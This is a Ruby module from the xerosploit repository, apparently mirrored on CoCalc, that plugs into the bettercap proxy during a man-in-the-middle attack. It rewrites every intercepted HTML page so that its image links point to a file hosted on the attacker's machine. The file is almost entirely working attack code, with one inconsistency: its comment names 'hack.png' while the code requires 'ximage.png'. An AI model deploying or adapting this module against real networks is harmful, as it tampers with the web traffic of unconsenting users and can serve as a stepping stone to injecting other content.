Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
lionsec
GitHub Repository: lionsec/xerosploit
Path: blob/master/tools/bettercap/modules/replace_images.rb
527 views
1
2
=begin
3
BETTERCAP
4
Author : Simone 'evilsocket' Margaritelli
5
Email : [email protected]
6
Blog : http://www.evilsocket.net/
7
This project is released under the GPL 3 license.
8
=end
9
10
# This module requires the --httpd argument being passed
11
# to bettercap and the --httpd-path pointing to a folder
12
# which contains a "hack.png" image.
13
class ReplaceImages < BetterCap::Proxy::HTTP::Module
14
meta(
15
'Name' => 'ReplaceImages',
16
'Description' => 'Replace all images on web pages.',
17
'Version' => '1.0.0',
18
'Author' => "Simone 'evilsocket' Margaritelli",
19
'License' => 'GPL3'
20
)
21
22
def initialize
23
opts = BetterCap::Context.get.options.servers
24
# make sure the server is running
25
raise BetterCap::Error, "The ReplaceImages proxy module needs the HTTPD ( --httpd argument ) running." unless opts.httpd
26
# make sure the file we need actually exists
27
raise BetterCap::Error, "No ximage.png file found in the HTTPD path ( --httpd-path argument ) '#{opts.httpd_path}'" \
28
unless File.exist? "#{opts.httpd_path}/ximage.png"
29
30
@image_url = "\"http://#{BetterCap::Context.get.iface.ip}:#{opts.httpd_port}/ximage.png\""
31
end
32
33
def on_request( request, response )
34
# is it a html page?
35
if response.content_type =~ /^text\/html.*/
36
BetterCap::Logger.info "Replacing http://#{request.host}#{request.path} images."
37
38
response.body.gsub! %r/["'][https:\/\/]*[^\s]+\.(png|jpg|jpeg|bmp|gif|webp|svg)["']/i, @image_url
39
end
40
end
41
end
42
43